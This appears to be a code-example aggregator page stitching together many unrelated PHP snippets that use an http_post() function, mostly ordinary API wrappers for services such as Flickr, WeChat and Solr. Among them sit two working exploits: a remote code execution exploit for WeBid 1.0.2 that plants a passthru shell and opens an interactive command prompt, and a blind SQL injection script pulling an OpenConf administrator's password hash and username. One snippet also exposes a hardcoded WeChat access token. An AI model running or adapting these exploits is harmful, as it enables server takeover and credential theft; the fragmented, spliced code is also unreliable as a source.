function flickr_api_call($method, $args = array(), $more = array())
{
    list($url, $args) = flickr_api_call_build($method, $args, $more);
    $defaults = array('http_timeout' => 10);
    $more = array_merge($defaults, $more);
    $headers = array();
    $rsp = http_post($url, $args, $headers, $more);
    # $url = $url . "?" . http_build_query($args);
    # $rsp = http_get($url);
    if (!$rsp['ok']) {
        return $rsp;
    }
    if (isset($more['raw'])) {
        return $rsp;
    }
    $json = json_decode($rsp['body'], 'as a hash');
    if (!$json) {
        return array('ok' => 0, 'error' => 'failed to parse response');
    }
    if ($json['stat'] != 'ok') {
        return array('ok' => 0, 'error' => $json['message']);
    }
    unset($json['stat']);
    return array('ok' => 1, 'rsp' => $json);
}
 public function addMask()
 {
     if ($_SERVER['REQUEST_METHOD'] === 'GET') {
         $view = M('view', Null, 'DB_NEWS');
         $vlist = $view->select();
         $this->assign('vlist', $vlist);
         $this->display();
     } else {
         if (!empty($_POST['viewid']) && !empty($_POST['mask'])) {
             $view_mask = M('view_mask', Null, 'DB_NEWS');
             $str = trim($_POST['mask']);
             $arr = explode(',', $str);
             for ($i = 0; $i < count($arr); $i++) {
                 if (!empty($arr[$i])) {
                     $mask['network'] = $arr[$i];
                     $mask['viewid'] = $_POST['viewid'];
                     $is_ok = $view_mask->data($mask)->add();
                     if ($is_ok === false) {
                         $this->ajaxReturn('error', '添加掩码失败,请联系管理员。', 0);
                     }
                     $val = array("mask" => $arr[$i], "vid" => $_POST["viewid"]);
                     $user = array("cid" => $_SESSION['id'], "level" => 2, "info" => "");
                     $param = array("type" => "mask", "opt" => "add", "data" => $val, "user" => $user);
                     $ret = http_post(C('INTERFACE_URL') . "/dnspro/dnsbroker/", $param);
                     $rslt = json_decode($ret["content"], true);
                     if ($rslt["ret"] != 0) {
                         $this->ajaxReturn(0, $rslt["content"], 0);
                     }
                 }
             }
             $this->ajaxReturn(1, 'success', 1);
         }
     }
 }
Beispiel #3
0
 /** @BeforeFeature */
 public static function prepareForTheFeature()
 {
     @http_delete(ELASTICSEARCH . '/cncflora_test0', []);
     @http_delete(ELASTICSEARCH . '/cncflora_test1', []);
     @http_delete(COUCHDB . '/cncflora_test0', []);
     @http_delete(COUCHDB . '/cncflora_test1', []);
     @http_put(ELASTICSEARCH . '/cncflora_test0', []);
     @http_put(ELASTICSEARCH . '/cncflora_test1', []);
     @http_put(COUCHDB . '/cncflora_test0', []);
     @http_put(COUCHDB . '/cncflora_test1', []);
     $file = file_get_contents(__DIR__ . "/load.json");
     $json = json_decode($file);
     $r = http_post(COUCHDB . "/cncflora_test0/_bulk_docs", array('docs' => $json));
     foreach ($json as $doc) {
         $doc->id = $doc->_id;
         foreach ($r as $revs) {
             if ($revs->id == $doc->_id) {
                 $doc->rev = $revs->rev;
                 $doc->_rev = $revs->rev;
             }
         }
         http_put(ELASTICSEARCH . '/cncflora_test0/' . $doc->metadata->type . '/' . $doc->_id, $doc);
     }
     sleep(1);
 }
Beispiel #4
0
function weixin_send_custom_message($from_user, $msg)
{
    $access_token = get_weixin_token();
    $url = "https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token={$access_token}";
    $msg = str_replace('"', '\\"', $msg);
    $post = '{"touser":"******","msgtype":"text","text":{"content":"' . $msg . '"}}';
    http_post($url, $post);
}
Beispiel #5
0
/** 
 * Use the geekmail 'preview' to convert BGG markup to HTML
 * 
 * $recipients = a comma-seperated list of BGG usernames
 * $subject = the subject line of the geekmail
 * $message = the content of the geekmail
 *
 * Returns TRUE on success and FALSE on failure.
 */
function geekmail_make_preview($message)
{
    global $config;
    $url = "https://" . $config['bgg']['domain'] . "/geekmail_controller.php";
    $params = array('action' => 'save', 'messageid' => '', 'touser' => $config['bgg']['username'], 'subject' => 'Citizen Recognition Preview', 'savecopy' => 1, 'geek_link_select_1' => '', 'sizesel' => 10, 'body' => $message, 'B1' => 'Preview', 'label' => '', 'ajax' => 1);
    $result = http_post($url, $params, $config['bgg']['cookie']);
    return $result;
}
function http_send($url, $data = '')
{
    $result = null;
    if (empty($data)) {
        $result = http_get($url);
    } else {
        $result = http_post($url, $data);
    }
    return $result;
}
function flickr_api_call($method, $args = array(), $more = array())
{
    list($url, $args) = flickr_api_call_build($method, $args, $more);
    $defaults = array('http_timeout' => 10);
    $more = array_merge($defaults, $more);
    $headers = array();
    $rsp = http_post($url, $args, $headers, $more);
    # $url = $url . "?" . http_build_query($args);
    # $rsp = http_get($url);
    return flickr_api_parse_response($rsp);
}
Beispiel #8
0
 /**
  * jsapi配置
  * @return array
  */
 public function oauth()
 {
     $code = $this->code = get('code');
     $redirect_uri = get('redirect_uri', '');
     $redirect_uri = urldecode($redirect_uri);
     $query = array('client_secret' => $this->appsecret, 'client_id' => $this->appid, 'grant_type' => 'authorization_code', 'redirect_uri' => $redirect_uri, 'code' => $code);
     $token_info_josn = http_post('https://login.uber.com.cn/oauth/v2/token', $query);
     echo $token_info_josn;
     $token_info = json_decode($token_info_josn, true);
     var_dump($token_info);
     exit;
 }
/**
 * @param Array $fomrs
 * @param Boolean $useSSL
 * @return response string
 */
function execPayment($fomrs, $useSSL)
{
    $gofpay_gateway_url = trim(Configuration::get('GOFPAY_GATEWAY_URL')) . '/' . Configuration::get('GOFPAY_GATEWAY_VERSION') . '/gateway';
    if ($useSSL) {
        //crul请求,
        $info = curl_post($gofpay_gateway_url, http_build_query($fomrs, '', '&'));
    } else {
        //普通http请求
        $info = http_post($gofpay_gateway_url, http_build_query($fomrs, '', '&'));
    }
    return explode_return_str($info);
}
Beispiel #10
0
function http_post_serialized($host, $path, $in, &$out)
{
    // serialize
    $in = serialize($in);
    // setup headers
    $headers = array("Content-Type" => "application/vnc.php.serialized");
    // call http_post
    $status = http_post($host, $path, $headers, $in, $headers, $out);
    // unserialize
    $out = @unserialize($out);
    // return
    return $status;
}
 function test()
 {
     $param['touser'] = "******";
     $param['msgtype'] = "text";
     $param['text']['content'] = "Hello World!";
     $param['customservice']['kf_account'] = "zbyy@nyfslg";
     $param_json = json_encode($param);
     dump($param_json);
     $token = get_token();
     $access_token = get_access_token($token);
     $url = "https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token=" . $access_token;
     $return = http_post($url, $param_json);
     dump($return);
 }
 function send_ewm()
 {
     //-----获取access_token
     $access_token = get_access_token();
     //----生成二维码
     $ewmid = I('ewmid');
     $postUrl = 'https://api.weixin.qq.com/cgi-bin/qrcode/create?access_token=' . $access_token;
     $postJson = '{"action_name": "QR_LIMIT_SCENE", "action_info": {"scene": {"scene_id": ' . $ewmid . '}}}';
     $return = json_decode(http_post($postUrl, $postJson), true);
     if ($return['errcode'] == 0) {
         $ticket = $return['ticket'];
         $qr_code = 'https://mp.weixin.qq.com/cgi-bin/showqrcode?ticket=' . UrlEncode($ticket);
         $this->qr_code_save($qr_code, $ewmid);
         $this->success('生成二维码成功');
     } else {
         $this->error('生成二维码失败,错误的返回码是:' . $res['errcode'] . ', 错误的提示是:' . $res['errmsg']);
     }
 }
Beispiel #13
0
 public function get_taobao_session_keyOp()
 {
     $taobao_session_key = "";
     if (C('taobao_api_isuse')) {
         $param = array();
         $param['client_id'] = C('taobao_app_key');
         $param['client_secret'] = C('taobao_secret_key');
         $param['grant_type'] = 'authorization_code';
         $param['code'] = trim($_POST['auth_code']);
         $param['redirect_uri'] = "urn:ietf:wg:oauth:2.0:oob";
         $result = http_post('https://oauth.taobao.com/token', $param);
         if ($result) {
             $result = json_decode($result);
             if (!empty($result->access_token)) {
                 $taobao_session_key = $result->access_token;
             }
         }
     }
     output_data(array('taobao_session_key' => $taobao_session_key));
 }
function foursquare_api_call($method, $args = array(), $more = array())
{
    $method = ltrim($method, "/");
    $args['v'] = gmdate("Ymd", time());
    if ($more['method'] == 'POST') {
        $url = $GLOBALS['foursquare_api_endpoint'] . $method;
        $rsp = http_post($url, $args);
    } else {
        $query = http_build_query($args);
        $url = $GLOBALS['foursquare_api_endpoint'] . $method . "?{$query}";
        $rsp = http_get($url);
    }
    if (!$rsp['ok']) {
        return $rsp;
    }
    $data = json_decode($rsp['body'], "as hash");
    if (!$data) {
        return not_okay("failed to parse response");
    }
    return okay(array("rsp" => $data['response']));
}
Beispiel #15
0
function search_post($es, $db, $idx, $q)
{
    $q = str_replace("=", ":", $q);
    $url = $es . '/' . $db . '/' . $idx . '/_search';
    $doc = array("query" => array("query_string" => array("query" => $q)), "size" => 9999);
    $r = http_post($url, $doc);
    $arr = array();
    $ids = [];
    foreach ($r->hits->hits as $hit) {
        $doc = $hit->_source;
        if (isset($doc->id) && !isset($doc->_id)) {
            $doc->_id = $doc->id;
            unset($doc->id);
        }
        if (isset($doc->rev) && !isset($doc->_rev)) {
            $doc->_rev = $doc->rev;
            unset($doc->rev);
        }
        $arr[] = $doc;
    }
    return $arr;
}
function geo_ogre_convert_file($path)
{
    if (!file_exists($path)) {
        return array('ok' => 0, 'error' => 'file does not exist');
    }
    $url = $GLOBALS['cfg']['ogre_host'] . $GLOBALS['cfg']['ogre_convert_endpoint'];
    $post_data = array('upload' => "@{$path}");
    $headers = array();
    $more = array('http_port' => $GLOBALS['cfg']['ogre_port']);
    $rsp = http_post($url, $post_data, $headers, $more);
    if (!$rsp['ok']) {
        return $rsp;
    }
    $json = json_decode($rsp['body'], 'as a hash');
    if (!$json) {
        return array('ok' => 0, 'error' => 'failed to decode JSON');
    }
    if (isset($json['error'])) {
        return array('ok' => 0, 'error' => $json['message']);
    }
    return array('ok' => 1, 'data' => $json);
}
Beispiel #17
0
function solr_select($url, $params = array(), $more = array())
{
    $params['wt'] = 'json';
    #
    $str_params = implode('&', $params);
    $cache_key = "solr_select_" . md5($str_params);
    $cache = cache_get($cache_key);
    if ($cache['ok']) {
        return $cache['data'];
    }
    $http_rsp = http_post($url, $str_params);
    if (!$http_rsp['ok']) {
        return $http_rsp;
    }
    $as_array = True;
    $json = json_decode($http_rsp['body'], $as_array);
    if (!$json) {
        return array('ok' => 0, 'error' => 'Failed to parse response');
    }
    $rsp = array('ok' => 1, 'rows' => $json);
    cache_set($cache_key, $rsp);
    return $rsp;
}
 public function post($url, $data = array())
 {
     $response = http_post($url, $data);
     $parsed = http_parse_message($response);
     return $parsed;
 }
 public function testCase()
 {
     $proname = $this->input->post('ID_Pro');
     $geturl = $this->input->post('ID_Url');
     $post = $this->input->post('ID_Post');
     $ckUp = $this->input->post('ckUpload');
     $ckJson = $this->input->post('ckJson');
     $ckSql = $this->input->post('ckSql');
     $ckRedis = $this->input->post('ckRedis');
     //echo $ckSql."\n";
     $output = "";
     if ($ckSql == "on") {
         $sql_ip = trim($this->input->post('sql_ip'));
         $sql_user = trim($this->input->post('sql_user'));
         $sql_pass = trim($this->input->post('sql_pass'));
         $sql_db = trim($this->input->post('sql_db'));
         $sql_tb = trim($this->input->post('sql_tb'));
         $column = trim($this->input->post('sql_col'));
         $value = trim($this->input->post('sql_value'));
         $QueStr = "select * from " . $sql_tb . " where " . $column . "=" . $value . " limit 10";
         $_SESSION['mysqlResult'] = $this->op_mysql($sql_ip, $sql_user, $sql_pass, $sql_db, $QueStr);
         //echo $_SESSION['mysqlResult'];
     }
     if ($ckRedis == "on") {
         $rd_ip = trim($this->input->post('rd_ip'));
         $rd_key = trim($this->input->post('rd_key'));
         $_SESSION['redisResult'] = $this->op_redis($rd_ip, $rd_key, "str");
     }
     if ($ckJson == "on") {
         $fileparam = $this->input->post('FileParam');
         $file = "";
         //echo $geturl.",".$post;
         if (!empty($_FILES['file']['name'])) {
             //$path="./casemng/case/".$proname."/".$_FILES['file']['name'];
             $path = "./uploadFiles/" . $proname . "_" . $_FILES['file']['name'];
             $file = $proname . "_" . $_FILES['file']['name'];
             //$_FILES['file']['name'];
             $fileinfo = $_FILES['file'];
             //var_dump($fileinfo);
             if ($fileinfo['size'] > 0) {
                 move_uploaded_file($fileinfo['tmp_name'], $path);
             }
         }
         if (substr($post, strlen($post) - 1, 1) == "&") {
             $post = substr($post, 0, strlen($post) - 1);
         }
         if ($fileparam != "") {
             if (substr($fileparam, strlen($fileparam) - 1, 1) != "=") {
                 $fileparam = $fileparam . "=";
             }
             $post = $post . "&" . $fileparam . $file;
         }
         if (substr($post, 0, 1) == "&") {
             $post = substr($post, 1);
         }
         if ($post != "") {
             $PostJson = $this->rewriteParam($post, $file);
             $postParam = json_decode($PostJson, true);
         } else {
             $postParam = "";
         }
         //var_dump($postParam);
         $output = http_post($geturl, $postParam);
     }
     //echo $output;
     $_SESSION['testResult'] = $output;
     $_SESSION['Url'] = $geturl;
     $_SESSION['postParam'] = $post;
     $this->show(0);
     //$callback = $_GET['callback'];
     //echo $callback.'('.json_encode($output).')';
 }
Beispiel #20
0
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
function http_post($page, $data)
{
    global $ch, $url;
    curl_setopt($ch, CURLOPT_URL, $url . $page);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    return curl_exec($ch);
}
print "\n+----------------------------------------------------------------------+";
print "\n| WeBid <= 1.0.2 (converter.php) Remote Code Execution Exploit by EgiX |";
print "\n+----------------------------------------------------------------------+\n";
if ($argc < 2) {
    print "\nUsage......: php {$argv['0']} <url>\n";
    print "\nExample....: php {$argv['0']} https://localhost/";
    print "\nExample....: php {$argv['0']} http://localhost/webid/\n";
    die;
}
$url = $argv[1];
$code = rawurlencode("'));print('_code_');passthru(base64_decode(\$_POST['c'])//");
http_post("converter.php", "action=convert&from=USD&to={$code}");
while (1) {
    print "\nwebid-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") {
        break;
    }
    preg_match("/_code_(.*)/s", http_post("includes/currencies.php", "c=" . base64_encode($cmd)), $m) ? print $m[1] : die("\n[-] Exploit failed\n");
}
Beispiel #21
0
//
// Pipecode is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Pipecode is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Pipecode.  If not, see <http://www.gnu.org/licenses/>.
//
include "mail.php";
if (http_post()) {
    $to = http_post_string("to", array("len" => 250, "valid" => "[a-z][A-Z][0-9]-_.<>@+ "));
    $subject = http_post_string("subject", array("len" => 250, "valid" => "[ALL]"));
    $body = http_post_string("body", array("len" => 64000, "valid" => "[ALL]"));
    $in_reply_to = http_post_string("in_reply_to", array("required" => false, "len" => 250, "valid" => "[a-z][A-Z][0-9]-_.@+-"));
    send_web_mail($to, $subject, $body, $in_reply_to);
    header("Location: /mail/");
    die;
}
$to = http_get_string("to", array("required" => false, "len" => 250, "valid" => "[a-z][A-Z][0-9]-_.<>@+ "));
$mid = http_get_int("mid", array("required" => false));
if ($mid > 0) {
    $message = db_get_rec("mail", $mid);
    $in_reply_to = $message["message_id"];
    $to = $message["mail_from"];
    $subject = $message["subject"];
<?php

require_once dirname(__FILE__) . "/solrSearch.conf";
require_once dirname(__FILE__) . "/inc/functions.php";
$response = http_post(UPDATE_URL . "/?commit=true", "<delete><query>*:*</query></delete>", "Content-Type: text/xml\r\n");
// print_r($response["headers"],true)
echo "\ndone\n";
Beispiel #23
0
function _solr_select($params)
{
    $params['wt'] = 'json';
    $url = $GLOBALS['cfg']['solr_endpoint'] . "select/";
    $str_params = _solr_build_query($params, "stringify");
    $http_rsp = http_post($url, $str_params);
    return _solr_parse_response($http_rsp);
}
Beispiel #24
0
            die("\n[-] Exploit failed!\n");
        }
        $sql = urlencode("-1 OR 1=(SELECT IF(ASCII(SUBSTR(value,{$index},1))={$chars[$i]},0,1) FROM config WHERE setting=" . hex_enc("OC_chair_pwd") . ") LIMIT 1#");
        if (preg_match("/is incorrect/", http_post("author/edit.php", "ocaction=1&pid={$sql}"))) {
            $hash .= chr($chars[$i]);
            print chr($chars[$i]);
            break;
        }
    }
    $index++;
}
$index = 1;
$user = '';
$chars = array_merge(array(0), range(97, 172), array(95), range(48, 57));
// Any "word" character
print "\n[-] Chair username........: ";
while (!strpos($user, chr(0))) {
    for ($i = 0, $n = count($chars); $i <= $n; $i++) {
        if ($i == $n) {
            die("\n[-] Exploit failed!\n");
        }
        $sql = rawurlencode("-1 OR 1=(SELECT IF(ASCII(SUBSTR(value,{$index},1))={$chars[$i]},0,1) FROM config WHERE setting=" . hex_enc("OC_chair_uname") . ") LIMIT 1#");
        if (preg_match("/is incorrect/", http_post("author/edit.php", "ocaction=1&pid={$sql}"))) {
            $user .= chr($chars[$i]);
            print chr($chars[$i]);
            break;
        }
    }
    $index++;
}
print "\n";
Beispiel #25
0
 function Search($keyword)
 {
     $uri = 'http://www.77nt.com/SoClass.aspx';
     $data = 'class=' . urlencode(iconv("UTF-8", "gb2312", $keyword)) . '&submit=&ctl00%24Sodaohang=';
     $html = http_post($uri, $data);
     $html = str_replace("text/html; charset=gb2312", "text/html; charset=gb18030", $html);
     $xpath = new XPath($html);
     $options = $xpath->query("//div[@class='page']/form/select/option");
     $i = 0;
     $books = array();
     $pages = array();
     foreach ($options as $option) {
         $value = $option->getattribute('value');
         if ($value != '0') {
             $pages[] = 'http://www.77nt.com/Soclass.aspx?class=' . urlencode(iconv("UTF-8", "gb2312", $keyword)) . "&page=" . $i;
         }
         ++$i;
     }
     // page 1
     $result = array();
     $result[0] = $this->__ParseBooks($html);
     // other pages
     if (count($pages) > 0) {
         $http = new HttpMultipleProxy("proxy.cfg");
         $r = $http->get($pages, array($this, '_OnReadBook'), &$result, 60);
         if (0 != $r) {
             // log error
         }
     }
     if (count($pages) == count($result)) {
         for ($i = 0; $i < count($result); $i++) {
             foreach ($result[$i] as $bid => $book) {
                 $books[$bid] = $book;
             }
         }
     }
     return array("book" => $books);
 }
Beispiel #26
0
<?php

//
// Pipecode - distributed social network
// Copyright (C) 2014 Bryan Beicker <*****@*****.**>
//
// This file is part of Pipecode.
//
// Pipecode is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Pipecode is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Pipecode.  If not, see <http://www.gnu.org/licenses/>.
//
include "mail.php";
$location = "Junk";
if (http_post("empty")) {
    run_sql("delete from mail where zid = ? and location = ?", array($auth_zid, $location));
    //header("Location: /mail/junk");
    //die();
}
print_mail_dir($location);
Beispiel #27
0
 public function updateReverse()
 {
     if (isset($_POST['val'])) {
         if ($_POST['val'] == 1) {
             $zone = M('zone');
             $entity = $zone->where('client_id=0')->find();
             //第一个点击开启的触发
             if (empty($entity)) {
                 $data['domain'] = 'in-addr.arpa';
                 $data['client_id'] = 0;
                 //特殊domain
                 $val = array("name" => strtolower('in-addr.arpa'));
                 $user = array("cid" => 0, "level" => 0, "info" => "");
                 $param = array("type" => "domain", "opt" => "add", "data" => $val, "user" => $user);
                 $ret = http_post(C('INTERFACE_URL') . "/dnspro/dnsbroker/", $param);
                 $rslt = json_decode($ret["content"], true);
                 if ($rslt["ret"] == 0) {
                     $is_ok = $zone->add($data);
                     //默认两条ns记录
                     $ns = M('nameserver');
                     $client_domain = M('client_domain');
                     $domain = M('domain');
                     $record = $ns->where('level=0')->select();
                     foreach ($record as $n => $value) {
                         $dt['host'] = '@';
                         $dt['type'] = 'NS';
                         $dt['view'] = $value['view'];
                         $dt['route'] = 0;
                         $dt['val'] = $value['val'];
                         $dt['mx'] = 0;
                         $dt['ttl'] = $value['ttl'];
                         $dt['is_edit'] = 0;
                         //$zone['is_author'];//如果域名是付费的,则是可以编辑,默认是不可编辑
                         $dt['is_on'] = 1;
                         $d_id = $domain->add($dt);
                         $ds = array("name" => $dt['host'] . "." . $dt['domain'], "main" => $data['domain'], "rid" => (int) $d_id, "domain_ns" => $dt['val'], "level" => $dt['mx'], "ttl" => (int) $dt['ttl'] * 60, "viewid" => $dt['view']);
                         $use = array("cid" => $_SESSION['id'], "level" => 0, "info" => "");
                         $par = array("type" => "record", "opt" => "add", "data" => $ds, "user" => $use);
                         $rt = http_post(C('INTERFACE_URL') . "/dnspro/dnsbroker/", $par);
                         $rs = json_decode($rt["content"], true);
                         if ($rs["ret"] != 0) {
                             //添加失败
                             $domain->where('id=' . $d_id)->delete();
                         } else {
                             $rcd['client_id'] = 0;
                             $rcd['zone_id'] = $is_ok;
                             $rcd['domain_id'] = $d_id;
                             $client_domain->add($rcd);
                         }
                     }
                 } else {
                     $this->ajaxReturn(0, $rslt["error"], 0);
                 }
             }
         }
         $client = M('client');
         $is_ok = $client->where('id=' . $_SESSION['id'])->setField('is_reverse', $_POST['val']);
         if ($is_ok === false) {
             $this->ajaxReturn('修改反向解析权限失败,请联系管理员。', 'error', 0);
         }
         $_SESSION['is_reverse'] = $_POST['val'];
         $this->ajaxReturn(1, 'success', 1);
     }
 }
Beispiel #28
0
/**
 * User Login Action
 *
 * @return void
 */
function action_user_login() : void
{
    if (registered()) {
        redirect(url('user/dashboard'));
    }
    if ($data = http_post('data')) {
        if (!empty($data['username']) && !empty($data['password']) && ($item = one('user', ['username' => $data['username'], 'active' => true, 'project_id' => project('ids')])) && password_verify($data['password'], $item['password'])) {
            message(_('Welcome %s', $item['name']));
            session_regenerate_id(true);
            session('user', $item['id']);
            redirect(url('user/dashboard'));
        }
        message(_('Invalid username and password combination'));
    }
    layout_load();
    vars('head', ['title' => _('Login')]);
}
 function process_payment($order_number, $order_total, &$d)
 {
     global $vmLogger;
     require_once CLASSPATH . "payment/" . __CLASS__ . ".cfg.php";
     $vars = array("action" => "ns_quicksale_cc", "ecxid" => PN_LOGIN, "amount" => "{$order_total}", "ccname" => $_SESSION['ccdata']['order_payment_name'], "ccnum" => $_SESSION['ccdata']['order_payment_number'], "expmon" => $_SESSION['ccdata']['order_payment_expire_month'], "expyear" => $_SESSION['ccdata']['order_payment_expire_year']);
     $results = http_post("trans.atsbank.com", 443, "/cgi-bin/trans.cgi", $vars);
     if (stristr($results, "Accepted")) {
         #Clean up the cart, send out the emails, and display thankyyou page.
         return true;
     } else {
         if ($reason = stristr($results, "Declined")) {
             $vmLogger->err("The transaction was declined because of: <strong>{$reason}</strong><br />");
         } else {
             $vmLogger->err("FATAL ERROR! Declined for an unknown reason, possibly a server misconfiguration error.<br/>{$results}");
         }
         return false;
     }
     #echo $results;
 }
<?php

/* 
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */
include 'public_function.php';
$send_url = 'https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token=CJ0y80Lfrwu671hxSjZZS8Q6-zd6VYArHmu3yV2MCZjcCTYFxRKy0MblnBLXnR3i7HsbJ5O-i-8tnor7N2qggKMRfm7_FFpa_XF6loU-c6Q';
$send_data = array('touser' => 'oUBaxs-nBvi86eeG_lbO3Q5o3Kps', 'msgtype' => 'text', 'text' => array('content' => '小染下午好吖'));
$send_data = json_encode($send_data, JSON_UNESCAPED_UNICODE);
print_r(http_post($send_url, $send_data));
die;
switch ($_GET['function']) {
    case 'get_user_num':
        get_user_num();
        break;
    case 'get_user_info':
        get_user_info();
        break;
    default:
        break;
}
function get_user_num()
{
    $app_id = $_POST['app_id'];
    $ajax_response = array('msg' => '');
    if (!file_exists($app_id . '_access_token')) {
        $ajax_response['msg'] = 'access_token not exist';
        echo json_encode($ajax_response);
    }